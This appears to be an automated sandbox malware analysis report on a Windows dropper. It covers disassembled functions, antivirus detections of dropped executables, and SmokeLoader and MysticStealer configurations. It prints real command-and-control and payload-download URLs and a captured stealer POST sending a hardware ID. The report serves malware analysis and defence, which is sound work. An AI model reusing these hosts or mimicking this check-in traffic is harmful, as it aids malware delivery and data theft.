LocalFree.KERNEL32(00000000,?,00F35534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00F3594D
CloseHandle.KERNEL32(00000000,?,00F35534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00F3595C
GetFileAttributesA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00F35534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00F35963

Strings

TMP4351$.TMP, xrefs: 00F35923
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00F358CD, 00F358CF, 00F35919, 00F35962

Memory Dump Source

Source File: 00000028.00000002.420345379.0000000000F31000.00000020.00000001.01000000.00000015.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000028.00000002.420337979.0000000000F30000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420352842.0000000000F38000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3A000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3C000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_f30000_3F93.jbxd

Similarity

API ID: FileLocal$AllocAttributesCloseCreateFreeHandle
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$TMP4351$.TMP
API String ID: 747627703-1664176527
Opcode ID: a880be9368042dd675a7ddfeec57d8aa4eefef7f82b853e46b1dbbc556c15d20
Instruction ID: 98189190b16e9289eee41ee1f290c0685d5e1a8b9defc004ed498144134523bb
Opcode Fuzzy Hash: a880be9368042dd675a7ddfeec57d8aa4eefef7f82b853e46b1dbbc556c15d20
Instruction Fuzzy Hash: 22117871A012147BC7246F7A9C0DB9B7E9EEF85770F004615F586D31D0CAB4D805A6A0

Uniqueness

Uniqueness Score: -1.00%

Function 00F33FEF Relevance: 10.6, APIs: 7, Instructions: 97
processsynchronizationwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?,?,?,00000000), ref: 00F34033
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00F34049
GetExitCodeProcess.KERNELBASE ref: 00F3405C
CloseHandle.KERNEL32(?), ref: 00F3409C
CloseHandle.KERNEL32(?), ref: 00F340A8
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 00F340DC
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 00F340E9

Memory Dump Source

Source File: 00000028.00000002.420345379.0000000000F31000.00000020.00000001.01000000.00000015.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000028.00000002.420337979.0000000000F30000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420352842.0000000000F38000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3A000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3C000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_f30000_3F93.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-0
Opcode ID: eb43d500c385ca0d3b752f266ca7d8adacd913b2403c40f00ea6b526d6d0319a
Instruction ID: c25df76f331dcca531967b924d3af7143d325d137c56038c415b64efffdeb28a
Opcode Fuzzy Hash: eb43d500c385ca0d3b752f266ca7d8adacd913b2403c40f00ea6b526d6d0319a
Instruction Fuzzy Hash: 0931C271A4020CBBEB20AB65DC48FAB777DEB94730F1001A9F545D21A0C674AD85EF11

Uniqueness

Uniqueness Score: -1.00%

Function 00F351E5 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F346A0
Part of subcall function 00F3468F: SizeofResource.KERNEL32(00000000,00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346A9
Part of subcall function 00F3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F346C3
Part of subcall function 00F3468F: LoadResource.KERNEL32(00000000,00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346CC
Part of subcall function 00F3468F: LockResource.KERNEL32(00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346D3
Part of subcall function 00F3468F: memcpy_s.MSVCRT ref: 00F346E5
Part of subcall function 00F3468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00F32F4D,?,00000002,00000000), ref: 00F35201
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 00F35250

Part of subcall function 00F344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F34518
Part of subcall function 00F344B9: MessageBoxA.USER32(?,?,foto7447,00010010), ref: 00F34554

Part of subcall function 00F36285: GetLastError.KERNEL32(00F35BBC), ref: 00F36285

Strings

UPROMPT, xrefs: 00F351EF, 00F35230
<None>, xrefs: 00F35262

Memory Dump Source

Source File: 00000028.00000002.420345379.0000000000F31000.00000020.00000001.01000000.00000015.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000028.00000002.420337979.0000000000F30000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420352842.0000000000F38000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3A000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3C000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_f30000_3F93.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: <None>$UPROMPT
API String ID: 957408736-2980973527
Opcode ID: b78f5ee1046be6326c34c8ddc196b97e01f7ea7e204786d3e0fa82b08e38b807
Instruction ID: a3f8a85adacdd360ba4c5a317066737590653766970583f59163a4bb6c80f3a1
Opcode Fuzzy Hash: b78f5ee1046be6326c34c8ddc196b97e01f7ea7e204786d3e0fa82b08e38b807
Instruction Fuzzy Hash: 6711C8B26046056FD3147B715C45F3B719EEBC9770F104429FA82E5191DABDEC017535

Uniqueness

Uniqueness Score: -1.00%

Function 00F352B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65fileCOMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(008E8260,00000080,?,00000000), ref: 00F352F2
DeleteFileA.KERNELBASE(008E8260), ref: 00F352FA
LocalFree.KERNEL32(008E8260,?,00000000), ref: 00F35305
LocalFree.KERNEL32(008E8260), ref: 00F3530C
SetCurrentDirectoryA.KERNELBASE(00F311FC,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 00F35363

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00F35334

Memory Dump Source

Source File: 00000028.00000002.420345379.0000000000F31000.00000020.00000001.01000000.00000015.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000028.00000002.420337979.0000000000F30000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420352842.0000000000F38000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3A000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3C000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_f30000_3F93.jbxd

Similarity

API ID: FileFreeLocal$AttributesCurrentDeleteDirectory
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 2833751637-305352358
Opcode ID: 9774ac1b927134ce6cfe381949b722dd6c2984fb4d50e60ac536c45a168e9414
Instruction ID: 0d94df3641f27b85a12556c4ee48eed2cf3e502862b95431fab0320f26a34eee
Opcode Fuzzy Hash: 9774ac1b927134ce6cfe381949b722dd6c2984fb4d50e60ac536c45a168e9414
Instruction Fuzzy Hash: 4621A131904608EBDB24AB20DD49BA977B6BB50BB0F040259F482972A0CFF99D85FB51

Uniqueness

Uniqueness Score: -1.00%

Function 00F34CD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(?,?,?,?), ref: 00F34DB5
SetDlgItemTextA.USER32(00000000,00000837,?), ref: 00F34DDD

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00F34D36, 00F34DE3

Memory Dump Source

Source File: 00000028.00000002.420345379.0000000000F31000.00000020.00000001.01000000.00000015.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000028.00000002.420337979.0000000000F30000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420352842.0000000000F38000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3A000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3C000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_f30000_3F93.jbxd

Similarity

API ID: AttributesFileItemText
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 3625706803-305352358
Opcode ID: 9c959cc6522ae589e984a9ab53e324524f8708f20003165f96e0d5555ed042a0
Instruction ID: 0f5e4a960bd690188966fdebccd34aa0994000d795f6e42372641869aecdd3f3
Opcode Fuzzy Hash: 9c959cc6522ae589e984a9ab53e324524f8708f20003165f96e0d5555ed042a0
Instruction Fuzzy Hash: F5414336A042058BCB259F38DC446B5B3A5FB45330F044668E88297695DF35FE8AFB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F34AD0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F33680: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 00F3369F
Part of subcall function 00F33680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00F336B2
Part of subcall function 00F33680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00F336DA

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 00F34B05

Strings

y8, xrefs: 00F34B1C, 00F34B2A

Memory Dump Source

Source File: 00000028.00000002.420345379.0000000000F31000.00000020.00000001.01000000.00000015.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000028.00000002.420337979.0000000000F30000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420352842.0000000000F38000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3A000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3C000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_f30000_3F93.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID: y8
API String ID: 1084409-3444525707
Opcode ID: 340955b13495c215203c0d35237466250ff7fd4b2a1184d70f7da6669ef18ee4
Instruction ID: bf011d34dc07c5783e3825367f5be21c2b8a5f3d38e00f2274309b1578a1d512
Opcode Fuzzy Hash: 340955b13495c215203c0d35237466250ff7fd4b2a1184d70f7da6669ef18ee4
Instruction Fuzzy Hash: 3501B531600309ABDB149F59DC05BA6B75AFB84735F048265F9399B1F1CBB4E812FB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F34C37 Relevance: 4.5, APIs: 3, Instructions: 39timeCOMMON

Download Yara Rule

APIs

DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 00F34C54
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00F34C66
SetFileTime.KERNELBASE(?,?,?,?), ref: 00F34C7E

Memory Dump Source

Source File: 00000028.00000002.420345379.0000000000F31000.00000020.00000001.01000000.00000015.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000028.00000002.420337979.0000000000F30000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420352842.0000000000F38000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3A000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3C000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_f30000_3F93.jbxd

Similarity

API ID: Time$File$DateLocal
String ID:
API String ID: 2071732420-0
Opcode ID: f5357b7aa0f94f414bbe990df9474703414f504428703d4edeac594e3f949e94
Instruction ID: 32d7b7572633b7db43b9baf5adc057937b7832d4cb13ac17a07016b595d07400
Opcode Fuzzy Hash: f5357b7aa0f94f414bbe990df9474703414f504428703d4edeac594e3f949e94
Instruction Fuzzy Hash: 07F09073A0120CAF9B24EFB5CC48DBB77ADEB142B0B44052AB855C1050EA30FA14FBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F3487A Relevance: 3.1, APIs: 2, Instructions: 59fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00008000,-80000000,00000000,00000000,?,00000080,00000000,00000000,00000000,00000000,00F34A23,?,00F34F67,*MEMCAB,00008000,00000180), ref: 00F348DE
CreateFileA.KERNEL32(00008000,-80000000,00000000,00000000,?,00000080,00000000,?,00F34F67,*MEMCAB,00008000,00000180), ref: 00F34902

Memory Dump Source

Source File: 00000028.00000002.420345379.0000000000F31000.00000020.00000001.01000000.00000015.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000028.00000002.420337979.0000000000F30000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420352842.0000000000F38000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3A000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3C000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_f30000_3F93.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 007286084d36b2904d378b0e652dd4bfe68af73399bfeb1acaf7a3205b0ba6e7
Instruction ID: bbe75baaaac6726016453a24a17a9c41ce71563ce846e91bab7f343d6fd6416c
Opcode Fuzzy Hash: 007286084d36b2904d378b0e652dd4bfe68af73399bfeb1acaf7a3205b0ba6e7
Instruction Fuzzy Hash: A50169A3E125742AF32490298C88FB7651DCBD6734F1B0334BDEAE72D2D564AC04A1E0

Uniqueness

Uniqueness Score: -1.00%

Function 00F3658A Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

CharPrevA.USER32(00F38B3E,00F38B3F,00000001,00F38B3E,-00000003,?,00F360EC,00F31140,?), ref: 00F365BA

Memory Dump Source

Source File: 00000028.00000002.420345379.0000000000F31000.00000020.00000001.01000000.00000015.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000028.00000002.420337979.0000000000F30000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420352842.0000000000F38000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3A000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3C000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_f30000_3F93.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 20c4888a9347dd950afb0d7262f1968e5f760b699771d7802c8e66cac6584037
Instruction ID: 5f758e793f92eb4ce9e5f0afd162a3d5bc758e26f7d423a12df6e88e864139cc
Opcode Fuzzy Hash: 20c4888a9347dd950afb0d7262f1968e5f760b699771d7802c8e66cac6584037
Instruction Fuzzy Hash: 4FF02833504250BBD331091A9884BA6BFDA9B86370F2C817AE8DAC3305CA658C45A2B4

Uniqueness

Uniqueness Score: -1.00%

Function 00F34B60 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,00000000,00000000,?,00F34FA1,00000000), ref: 00F34B98

Memory Dump Source

Source File: 00000028.00000002.420345379.0000000000F31000.00000020.00000001.01000000.00000015.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000028.00000002.420337979.0000000000F30000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420352842.0000000000F38000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3A000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3C000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_f30000_3F93.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 674169ce542a271a7226143c06df6a34427d89d4c9b59f45791e96f78132f9b9
Instruction ID: ae7c5efed95b6d43bac1e8b0c4652f379335c7de43c59ad72c09b3acc65d4a99
Opcode Fuzzy Hash: 674169ce542a271a7226143c06df6a34427d89d4c9b59f45791e96f78132f9b9
Instruction Fuzzy Hash: 81F0F471900B089E47618E399C00652FBE5AAF53B0750092AB4AED2190FB34B542FB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F366AE Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,00F34777,?,00F34E38,?), ref: 00F366B1

Memory Dump Source

Source File: 00000028.00000002.420345379.0000000000F31000.00000020.00000001.01000000.00000015.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000028.00000002.420337979.0000000000F30000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420352842.0000000000F38000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3A000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3C000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_f30000_3F93.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 966cff803ea6bcba97d07b0c6f631ed4092a59528e03c780b2d87fa7d2079c53
Instruction ID: e411fdd1a329e5a574d59583015d41b91b4bc54507f526b9fb9aff07c76bf1ff
Opcode Fuzzy Hash: 966cff803ea6bcba97d07b0c6f631ed4092a59528e03c780b2d87fa7d2079c53
Instruction Fuzzy Hash: BDB092B6622444526A2406726C2A55A3846A6C123ABE45B90F032C11E0CA3EC846E004

Uniqueness

Uniqueness Score: -1.00%

Function 00F34CA0 Relevance: 1.3, APIs: 1, Instructions: 8memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000000,?), ref: 00F34CAA

Memory Dump Source

Source File: 00000028.00000002.420345379.0000000000F31000.00000020.00000001.01000000.00000015.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000028.00000002.420337979.0000000000F30000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420352842.0000000000F38000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3A000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3C000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_f30000_3F93.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 37cc40ff26369961c8cb86e1ad0b34360abea363d570ad2cae7134f543db14ca
Instruction ID: 0cef58097594c3fbaabab30a253b9b360a416f52ae7da61bfa4571ce1301401e
Opcode Fuzzy Hash: 37cc40ff26369961c8cb86e1ad0b34360abea363d570ad2cae7134f543db14ca
Instruction Fuzzy Hash: 89B0123204430CB7CF001FC3EC09F853F1EE7C4771F140040F60C450508A7294109696

Uniqueness

Uniqueness Score: -1.00%

Function 00F34CC0 Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32 ref: 00F34CC8

Memory Dump Source

Source File: 00000028.00000002.420345379.0000000000F31000.00000020.00000001.01000000.00000015.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000028.00000002.420337979.0000000000F30000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420352842.0000000000F38000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3A000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3C000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_f30000_3F93.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 242dc43dc11564f61ac0089def906d4e3478d13e7ef772c647d4f54f8279cab9
Instruction ID: aa1b02d6bdd4870ffc77c7f9ed4120326adc8db0aab9edf63164de58840132bc
Opcode Fuzzy Hash: 242dc43dc11564f61ac0089def906d4e3478d13e7ef772c647d4f54f8279cab9
Instruction Fuzzy Hash: B9B0123100010CB78F001B43EC088453F1ED6C02707000050F50C410218B3398119585

Uniqueness

Uniqueness Score: -1.00%

Source: http://77.91.68.29/fks/	URL Reputation: Label: malware
Source: http://5.42.92.211/	URL Reputation: Label: malware
Source: http://77.91.68.61/fuza/2.bat	URL Reputation: Label: malware
Source: http://77.91.68.78/lend/stubweb3.exe	URL Reputation: Label: malware
Source: http://5.42.92.211/loghub/master	URL Reputation: Label: malware
Source: http://77.91.68.78/lend/clean.exe	Avira URL Cloud: Label: malware
Source: http://5.42.92.211/loghub/masterll	Avira URL Cloud: Label: malware
Source: http://77.91.68.78/lend/d3xi5rws2ffuli.exe	Avira URL Cloud: Label: malware
Source: http://5.42.65.80/rockss.exe	Avira URL Cloud: Label: malware

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe	Avira: detection malicious, Label: HEUR/AGEN.1310591
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\d7678512.exe	Avira: detection malicious, Label: HEUR/AGEN.1303828
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\x1678116.exe	Avira: detection malicious, Label: HEUR/AGEN.1310591
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Avira: detection malicious, Label: HEUR/AGEN.1303827
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Temp\9AEE.exe	Avira: detection malicious, Label: HEUR/AGEN.1327101
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Avira: detection malicious, Label: HEUR/AGEN.1303828
Source: C:\Users\user\AppData\Local\Temp\92C4.exe	Avira: detection malicious, Label: TR/Dropper.Gen
Source: C:\Users\user\AppData\Local\Temp\3F93.exe	Avira: detection malicious, Label: HEUR/AGEN.1310591
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen

Source: 00000012.00000002.276123012.0000000004890000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://77.91.68.29/fks/", "http://77.91.68.29/fks/"]}
Source: 9.2.AppLaunch.exe.400000.0.unpack	Malware Configuration Extractor: MysticStealer {"C2 url": "http://5.42.92.211/"}

Source: http://77.91.124.231/new/foto7447.exe	Virustotal: Detection: 16%	Perma Link
Source: http://77.91.68.78/lend/d3xi5rws2ffuli.exe	Virustotal: Detection: 20%	Perma Link
Source: http://77.91.68.78/lend/clean.exe	Virustotal: Detection: 18%	Perma Link
Source: http://77.91.124.231/smo/exto.exe	Virustotal: Detection: 22%	Perma Link
Source: http://5.42.92.211/loghub/masterll	Virustotal: Detection: 12%	Perma Link
Source: http://5.42.65.80/rockss.exe	Virustotal: Detection: 22%	Perma Link

Source: C:\Users\user\AppData\Local\Temp\2334.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Temp\2334.exe	Virustotal: Detection: 74%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\3F93.exe	Virustotal: Detection: 67%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\92C4.exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Local\Temp\92C4.exe	Virustotal: Detection: 71%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\9AEE.exe	ReversingLabs: Detection: 59%
Source: C:\Users\user\AppData\Local\Temp\9AEE.exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\ADAB.exe	Virustotal: Detection: 40%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	ReversingLabs: Detection: 69%
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	Virustotal: Detection: 70%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe	Virustotal: Detection: 66%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\d7678512.exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\d7678512.exe	Virustotal: Detection: 28%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\j8864040.exe	Virustotal: Detection: 42%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	ReversingLabs: Detection: 78%
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	Virustotal: Detection: 71%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\x1678116.exe	Virustotal: Detection: 64%	Perma Link

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\x1678116.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9AEE.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\92C4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\ADAB.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\3F93.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe	Joe Sandbox ML: detected

Source: Malware configuration extractor	URLs: http://77.91.68.29/fks/
Source: Malware configuration extractor	URLs: http://77.91.68.29/fks/
Source: Malware configuration extractor	URLs: http://5.42.92.211/

Source: global traffic	HTTP traffic detected: POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=S2T2johILhNxP0GzGJDGContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 53 32 54 32 6a 6f 68 49 4c 68 4e 78 50 30 47 7a 47 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 4e 55 49 78 4e 7a 63 77 4d 54 46 45 4d 45 4d 78 4d 7a 55 78 4e 7a 6b 78 4e 54 59 78 4e 51 3d 3d 0d 0a 2d 2d 53 32 54 32 6a 6f 68 49 4c 68 4e 78 50 30 47 7a 47 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 5a 47 39 75 61 57 56 7a 0d 0a 2d 2d 53 32 54 32 6a 6f 68 49 4c 68 4e 78 50 30 47 7a 47 4a 44 47 2d 2d 0d 0a Data Ascii: --S2T2johILhNxP0GzGJDGContent-Disposition: form-data; name="hwid"NUIxNzcwMTFEMEMxMzUxNzkxNTYxNQ==--S2T2johILhNxP0GzGJDGContent-Disposition: form-data; 